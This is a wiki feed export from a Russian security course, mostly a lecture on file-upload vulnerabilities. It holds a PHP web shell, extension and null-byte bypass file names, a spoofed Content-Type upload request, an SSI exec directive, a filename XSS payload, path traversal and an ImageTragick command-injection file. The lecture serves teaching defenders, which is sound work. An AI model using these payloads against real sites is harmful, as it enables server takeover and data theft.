                return False&lt;br /&gt;
        else:&lt;br /&gt;
            if c not in (string.ascii_uppercase + string.digits):&lt;br /&gt;
                return False&lt;br /&gt;
&lt;br /&gt;
    m = hashlib.md5()&lt;br /&gt;
    m.update(s[:17].encode(&#039;ascii&#039;))&lt;br /&gt;
    m.update(bytes([0x4d,0x67,0xde,0xb9,0x60,0xce,0x38,0x30,0xe1,0xb7,0x40,0xe5,0xeb,0x39,0xe0,0x15]))&lt;br /&gt;
&lt;br /&gt;
    return s[18:] == m.hexdigest()[:5].upper()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2020_reverse_examples.zip&amp;diff=344</id>
		<title>Файл:2020 reverse examples.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2020_reverse_examples.zip&amp;diff=344"/>
		<updated>2020-11-09T14:45:30Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=315</id>
		<title>Веб-безопасность/Уязвимости FileUpload</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=315"/>
		<updated>2020-10-15T18:43:44Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Задания */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Введение=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Загрузка файлов пользователями&#039;&#039;&#039; - довольно частая часть функциональности веб-приложения (аватарки, хостинг файлов, посылка вложений вместе с сообщениями и т. д.). Небезопасная реализация этого механизма может приводить к очень серьезным уязвимостям.&lt;br /&gt;
Загрузка файлов необходима многим сервисам, таким как файлообменники, социальные сети, онлайн-конверторы и редакторы. &lt;br /&gt;
&lt;br /&gt;
Самый простой способ реализации механизма загрузки файлов - просто создавать на файловой системе сервера файл с таким же содержимым как файл, отправленный пользователем (проще говоря, &amp;quot;класть&amp;quot; присланный пользователем файл куда-то на файловую систему сервера). После загрузки файл либо доступен пользователю по прямой ссылке (т. е. определенные URL-адреса отображаются на загруженные файлы и существует URL, обращение к которому ведет к отдаче загруженного файла), либо как то еще обрабатывается веб-приложением. Само веб-приложение во многом состоит из файлов на диске, поэтому добавление файлов на сервер может быть небезопасным, так как (в общем случае) может изменить логику работы приложения. &lt;br /&gt;
Соответственно, могут появляться следующие уязвимости: &lt;br /&gt;
* Remote Code Execution&lt;br /&gt;
* перезапись или удаление файлов&lt;br /&gt;
* Local File Read, SSRF&lt;br /&gt;
* Denial of Service&lt;br /&gt;
* Information Disclosure&lt;br /&gt;
* XSS&lt;br /&gt;
=PHP=&lt;br /&gt;
PHP (PHP: Hypertext Preprocessor) — скриптовый язык общего назначения, интенсивно применяемый для разработки веб-приложений.&lt;br /&gt;
==Привет, мир!==&lt;br /&gt;
Простейшая программа, выводящая надпись &amp;quot;Привет, мир!&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php print(&amp;quot;Привет, мир!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Каждый скрипт должен начинаться с &amp;lt;code&amp;gt; &amp;lt;?php &amp;lt;/code&amp;gt; и желательно (но не всегда обязательно) на &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt;. Пример кода, где &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt; обязателен:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Наша первая php страница&amp;lt;/title&amp;gt;&lt;br /&gt;
  &amp;lt;/head&amp;gt;&lt;br /&gt;
  &amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;&amp;lt;?php print(&amp;quot;Привет, мир&amp;quot;); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
  &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Переменные==&lt;br /&gt;
В синтаксисе PHP имя переменной записывается латинскими символами, но первым символом всегда должен быть знак доллара $, после чего идёт имя. Не допускается начинать имя переменной с цифры, а также использовать любые значения, кроме букв алфавита и знака подчеркивания.&lt;br /&gt;
&lt;br /&gt;
Правильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$age&lt;br /&gt;
$favorite_color&lt;br /&gt;
$name2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Неправильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
age&lt;br /&gt;
$42&lt;br /&gt;
$my-age&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Переменные бывают нескольких типов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$favorite_color = &amp;quot;green&amp;quot;; // строка&lt;br /&gt;
$favorite_number = 42; // целое число&lt;br /&gt;
$favorite_float_number = 0.5; // число с плавающей точкой&lt;br /&gt;
$favorite_bool = true; // boolean&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Числа можно складывать, вычитать, делить, умножать опреаторы стандартные, как и во всех языках: +, -, *, /, % - плюсь, минус, умножить, делить (деление не целочисленное), остаток от деления.&lt;br /&gt;
==Конкатенация==&lt;br /&gt;
Конкатенация - &amp;quot;cклейка&amp;quot; нескольких строчек в одну.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$united_string = &amp;quot;Мой любимый цвет - &amp;quot; . $favorite_color . &amp;quot;, а любимое число - &amp;quot; . $favorite_number;&lt;br /&gt;
print($united_string);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В коде выше $favorite_number - число. Поэтому данная переменная приводится к типу данных &amp;quot;строка&amp;quot;, после чего уже происходит конкатенация.&lt;br /&gt;
==Ввод данных==&lt;br /&gt;
Данная функциональность редко используется, но нам это нужно было для решения задач на лекии. readline - функция ввода данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$line = readline();&lt;br /&gt;
print($line);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Массивы==&lt;br /&gt;
Массив — структура данных, хранящая набор значений (элементов массива), идентифицируемых по индексу.&lt;br /&gt;
&lt;br /&gt;
В обычных массивах в PHP индекс значение - целое число. Нумеруются массивы с 0:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$fav_shows = [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В ассоциативных массивах в качестве индекса может использоваться не только число. Например, строка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&#039;age&#039; =&amp;gt; 42, &#039;name&#039; =&amp;gt; &#039;Иннокентий&#039;, &#039;fav_shows&#039; =&amp;gt; [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;] ];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Условный оператор==&lt;br /&gt;
Синтаксис: if (условие):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
if ($gender == &amp;quot;мужчина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, мой Господин!&amp;quot;);&lt;br /&gt;
} else if ($gender == &amp;quot;женщина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, о Госпожа!&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;Не хватает гендеров.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* оператор присваивания: =&lt;br /&gt;
* операторы сравнения: ==, ===, !=, !==, &amp;gt;, &amp;lt;, &amp;lt;=, &amp;gt;=&lt;br /&gt;
* and, or - логические и и или соответственно&lt;br /&gt;
==Циклы==&lt;br /&gt;
Синтаксис while: while (условие_остановки):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$i = 0;&lt;br /&gt;
while ($i &amp;lt; 10) {&lt;br /&gt;
    print($i);&lt;br /&gt;
    $i = $i + 1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Синтаксис for: for (команда,_выполняемая_до_цикла; условие_осатновки; команда,_выполняемая_в_ конце_каждой_операции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
for ($x = 0; $x &amp;lt; 10; ++$x) {&lt;br /&gt;
    print($x);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Для асоциативных массивах есть цикл foreach:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&lt;br /&gt;
    &#039;Имя&#039; =&amp;gt; &#039;Евгений&#039;,&lt;br /&gt;
    &#039;Возраст&#039; =&amp;gt; &#039;27&#039;,&lt;br /&gt;
    &#039;Род занятий&#039; =&amp;gt; &#039;Программист&#039;&lt;br /&gt;
];&lt;br /&gt;
foreach ($user as $key =&amp;gt; $value) {&lt;br /&gt;
    print($key . &#039;: &#039;);&lt;br /&gt;
    print($value . &#039;&amp;lt;br&amp;gt;&#039;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Функции==&lt;br /&gt;
Синтаксис: имя_функции(аргументы_функции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
function is_even($number) {&lt;br /&gt;
    if ($number % 2 != 0) {&lt;br /&gt;
        return false;&lt;br /&gt;
    } else {&lt;br /&gt;
        return true;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (is_even(3)) {&lt;br /&gt;
    print(&amp;quot;3 - четное число&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;3 - нечетное число&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Подключение файлов==&lt;br /&gt;
Чтобы не писать всё в одном файле, используется команда require.&lt;br /&gt;
Содержимое файла sub.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
print(&amp;quot;Привет, я содержимое из sub.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Содержимое файла index.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
require &#039;sub.php&#039;;&lt;br /&gt;
print(&amp;quot;А я - index.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После подключения sub.php, содержимого этого файла доступно в index.php.&lt;br /&gt;
==Полезные константы==&lt;br /&gt;
* __DIR__ — полный путь к директории, в которой находится текущий сценарий&lt;br /&gt;
* __FILE__ — полный путь к текущему сценарию&lt;br /&gt;
* $_COOKIE — ассоциативный массив, содержащий куки&lt;br /&gt;
* $_SESSION — ассоциативный массив, содержащий информацию о сессии&lt;br /&gt;
* $_POST — ассоциативный массив, содержащий данные, полученные после POST запроса&lt;br /&gt;
* $_GET — ассоциативный массив, содержащий данные, полученные после GET запроса&lt;br /&gt;
=Примеры=&lt;br /&gt;
1. Пусть есть сайт с формой:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;feedback&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваше имя: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш email: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Сообщение: &amp;lt;textarea name=&amp;quot;message&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
При получении формы сервером, данные из неё можно получить следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_POST)) {&lt;br /&gt;
    print(&amp;quot;Имя: &amp;quot; . $_POST[&#039;name&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Email: &amp;quot; . $_POST[&#039;email&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Сообщение: &amp;quot; . $_POST[&#039;message&#039;]);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
2. Другой пример - отправка формы:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;file_upload&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш аватар: &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;avatar&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить файл&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Работать с файлом ожно следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_FILES[&#039;avatar&#039;])) {&lt;br /&gt;
    $file = $_FILES[&#039;avatar&#039;];&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Загружен файл с именем &amp;quot; . $file[&#039;name&#039;] . &amp;quot; и размером &amp;quot; . $file[&#039;size&#039;] . &amp;quot; байт&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если не переместить файл в постаянную папку - файл будет удален:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$current_path = $_FILES[&#039;avatar&#039;][&#039;tmp_name&#039;];&lt;br /&gt;
$filename = $_FILES[&#039;avatar&#039;][&#039;name&#039;];&lt;br /&gt;
$new_path = dirname(__FILE__) . &#039;/&#039; . $filename;&lt;br /&gt;
&lt;br /&gt;
move_uploaded_file($current_path, $new_path);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=SQL=&lt;br /&gt;
Так же можно работать с базами данных. mysqli_connect - функция для подключения к mysql-серверу, mysqli_query - отправка sql-запроса:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$link = mysqli_connect(&amp;quot;localhost&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$sql = &#039;INSERT INTO cities SET name = &amp;quot;Санкт-Петербург&amp;quot;&#039;;&lt;br /&gt;
$result = mysqli_query($link, $sql);&lt;br /&gt;
&lt;br /&gt;
if ($result == false) {&lt;br /&gt;
    print(&amp;quot;Произошла ошибка при выполнении запроса&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=web shell=&lt;br /&gt;
&lt;br /&gt;
Простейшим примером является загрузка файла с расширением .php на сайт, работающий на PHP (в качестве проверки можно попробовать обратиться по адресу &#039;&#039;&#039;cite.com/index.php&#039;&#039;&#039; и не получить ошибки). По умолчанию PHP-сайты работают так что пользователь обращается по URL к файлу (URL сайта, начиная с первого /, отображаются на определенную директорию на сервере, она называется &#039;&#039;&#039;web root&#039;&#039;&#039;) и, если этот файл имеет расширение php (или другое расширение из предопределенного списка расширений для PHP-файлов), то содержимое этого файла выполняется как код на PHP, вывод этого кода возвращается пользователю в ответе (кстати, так работает не только PHP, но и ASP.NET Web Forms, JSP, ASP). В результате, если пользователь может загрузить на сайт файл c расширением .php и обратиться к нему по URL (т. е. этот файл будет создан где-то внутри &#039;&#039;&#039;web root&#039;&#039;&#039;), то, если сервер специально не настроен чтобы файлы из директории для загрузок не выполнялись, PHP-код в нём будет выполнен. Соответственно, загрузив на уязвимый сайт файл &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt; с кодом &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42 * 66613;&lt;br /&gt;
&amp;lt;?php system(&#039;ls -lsa&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и, получив ссылку на него (к примеру, /uploads/5c8e82bb8ad66/attack.php), обратится по ней, то в результате этот PHP-код выполнится и в ответе сервера будет &lt;br /&gt;
произведение чисел 42 и 66613, а также список всех файлов в длинном формате (функция PHP system работает так же как одноимённая функция библиотеки Си - то есть выполняет команду shell). В итоге атакующий получает выполнение произвольного кода на сервере (RCE).&lt;br /&gt;
&lt;br /&gt;
=Обход методов защиты и атака=&lt;br /&gt;
&lt;br /&gt;
==Валидация имени файла==&lt;br /&gt;
&lt;br /&gt;
===Черный список ресширений===&lt;br /&gt;
Обходится с помощью использования двойных расширений (&amp;lt;code&amp;gt;shell.php.png&amp;lt;/code&amp;gt;) или  малоизвестный расширений (&amp;lt;code&amp;gt;.php5&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.phtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.shtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt;). Кроме того, возможна инъекция нулевого байта (&amp;lt;code&amp;gt;shell.php%00.jpg&amp;lt;/code&amp;gt;) или регистрозависимость при проверке (&amp;lt;code&amp;gt;PHp3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.aSp&amp;lt;/code&amp;gt;). &lt;br /&gt;
&lt;br /&gt;
===Белый список расширений===&lt;br /&gt;
Спасает от использования атакующим малоизвестных и регистрозависимых расширений, но все ещё обходится с помощью двойных расширений или инъекции нулевого байта. &lt;br /&gt;
&lt;br /&gt;
===Санитайзеры===&lt;br /&gt;
Оставляет большую степень свободы. Например, если санитайзер удаляет вхождения подстрок типа &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt;, то использования имени файла вида &amp;lt;code&amp;gt;shell.p&#039;&#039;&#039;.php&#039;&#039;&#039;hp&amp;lt;/code&amp;gt; позволяет после загрузки получить файл с именем &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Валидация Content-Type==&lt;br /&gt;
Обходится изменением заголовка Content-Type, например, с помощью перехватывающего прокси (burp suite). Соответсвенно, в запросе &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST / HTTP/1.1&lt;br /&gt;
Host: easy.fu.khashaev.ru&lt;br /&gt;
Content-Length: 200&lt;br /&gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary&lt;br /&gt;
------WebKitFormBoundary&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;info.php&amp;quot;&lt;br /&gt;
Content-Type: text/php&lt;br /&gt;
 &amp;lt;?php phpinfo(); ?&amp;gt;&lt;br /&gt;
------WebKitFormBoundary--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
строчка &amp;lt;code&amp;gt;Content-Type: text/php&amp;lt;/code&amp;gt; может быть заменена на строчку &amp;lt;code&amp;gt;Content-Type: image/png&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
==Прочее==&lt;br /&gt;
&#039;&#039;&#039;Server Side Includes&#039;&#039;&#039; - язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Имеет расширения .shtml, .stm или .shtm. Например, при загрузке и вызове &#039;&#039;&#039;file.shtml&#039;&#039;&#039;, содержащего код &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;!-- #exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующему будет выведен список файлов данной директории. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Static HTML&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
При возможности загрузить на сервис статический HTML, создается HTML-страница, содержащая  вредоносный код (например, крадущего cookie), и ссылка на этот файл отправляется жертве. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Path Traversal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Атака, основанная на использовании специфически составленных имен файлов (например, &amp;lt;code&amp;gt;../config.ini&amp;lt;/code&amp;gt;), позволяющих выйти за пределы директории хранения файлов. Может привести к переписыванию исходных фалов веб-приложения, конфигурационных или системных файлов. &lt;br /&gt;
Атака возможна, если не используется функция &amp;lt;code&amp;gt;basename&amp;lt;/code&amp;gt; (возвращает последний компонент имени из указанного пути) или её аналог. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filename XSS&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Сервис уязвим к XSS, если допускается имя файла вида &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Полиглоты==&lt;br /&gt;
Полиглотами называют файлы, которые могут быть корректно распознаны как файлы разных типов. &lt;br /&gt;
Можно встраивать &lt;br /&gt;
* JavaScript в JPEG, GIF, PNG, PDF&lt;br /&gt;
* HTML в что-нибудь &lt;br /&gt;
* PHP в [https://rdot.org/forum/showthread.php?t=2780 JPEG ], [https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif GIF], [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ PNG]&lt;br /&gt;
&lt;br /&gt;
===Структура JPEG===&lt;br /&gt;
Все jpeg-файлы имеют схожую структуру. Рассмотрим в качестве примера изображение&lt;br /&gt;
&lt;br /&gt;
[[Файл:Mini.jpg|128px]]&lt;br /&gt;
 &lt;br /&gt;
В hex-редакторе оно выглядит следующим образом &lt;br /&gt;
&lt;br /&gt;
[[Файл:Hex_print.png]]&lt;br /&gt;
&lt;br /&gt;
В структуре jpeg-файлов содержатся служебные маркеры, состоящие из двух байт и всегда начинающиеся с FF.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FF D8&#039;&#039;&#039; - маркер начала jpeg-файла;&lt;br /&gt;
* &#039;&#039;&#039;FF DA&#039;&#039;&#039; - маркер начала секции Start of Scan:&lt;br /&gt;
** в двух байтах хранится длинна заголовка изображения [00 0C];&lt;br /&gt;
** заголовок изображения [03 01 00 02 11 03 11 00 3F 00];&lt;br /&gt;
** непосредственно информацию о самом изображении;&lt;br /&gt;
* &#039;&#039;&#039;FF D9&#039;&#039;&#039; - маркер конца jpeg-файла.&lt;br /&gt;
&lt;br /&gt;
=Image Magic=&lt;br /&gt;
&#039;&#039;&#039;ImageMagick&#039;&#039;&#039; — набор программ для чтения и редактирования файлов множества графических форматов, свободное и кроссплатформенное ПО. Может использоваться с языками Perl, C, C++, Python, Ruby, PHP, Node.js, Pascal, Java, Delphi, в скриптах командной оболочки или самостоятельно.&lt;br /&gt;
ImageMagick обладает широким набором возможностей (конвертация, маскирование, увеличение контрастности и т.п.) и поддерживает работу с различными типами файлов, но так же в нем находили различные уязвимости:&lt;br /&gt;
* RCE [CVE-2016-3714]&lt;br /&gt;
* SSRF [CVE-2016-3718]&lt;br /&gt;
* File deletion [CVE-2016-3715]&lt;br /&gt;
* File moving [CVE-2016-3716]&lt;br /&gt;
* Local File Read [CVE-2016-3717]&lt;br /&gt;
CVE - Common Vulnerabilities and Exposures - база данных общеизвестных уязвимостей информационной безопасности.&lt;br /&gt;
&lt;br /&gt;
Был создан сайт [https://imagetragick.com/ ImageTragick], посвященный описанию некоторых уязвимостей ImageMagic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Пример.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Допустим, что есть некоторый онлайн-сервис, позволяющих переводить файлы в разные форматы, использующий библиотеку ImageMagic. &lt;br /&gt;
Тогда, создав файл exploit.mvg с содержанием&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
push graphic-context&lt;br /&gt;
viewbox 0 0 640 480&lt;br /&gt;
fill &#039;url(https://example.com/&lt;br /&gt;
image.jpg &amp;quot; ; | ls  &amp;quot;-la)&#039;&lt;br /&gt;
pop graphic-context&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и выполнив запрос на преобразование файла, аналогичный команде &lt;br /&gt;
&amp;lt;pre&amp;gt;$ convert exploit.mvg out.png&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующий получит список всех файлов директории.&lt;br /&gt;
&lt;br /&gt;
=Задания=&lt;br /&gt;
* http://easy.stands.cyberschool.msu.ru/&lt;br /&gt;
* http://type.stands.cyberschool.msu.ru/&lt;br /&gt;
* http://hand.stands.cyberschool.msu.ru&lt;br /&gt;
&lt;br /&gt;
=Ссылки=&lt;br /&gt;
* [https://drive.google.com/file/d/1Jep20CuBfcfKAeStwnHgR0gCf-O2Wgd0/view?usp=sharing Презинтация]&lt;br /&gt;
* [https://www.php.net/ https://www.php.net/] - сайт PHP&lt;br /&gt;
* [https://htmlacademy.ru/tutorial/php https://htmlacademy.ru/tutorial/php] - учебник PHP&lt;br /&gt;
* [http://www.php.su/php/?php http://www.php.su/php/?php] - ещё один учебник&lt;br /&gt;
* [https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf Полиглоты]&lt;br /&gt;
* [https://drive.google.com/file/d/1Rz0RP5tKIWCmFDP3-_--VYu40ejWf48v/view?usp=sharing Валидация структурных типов]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
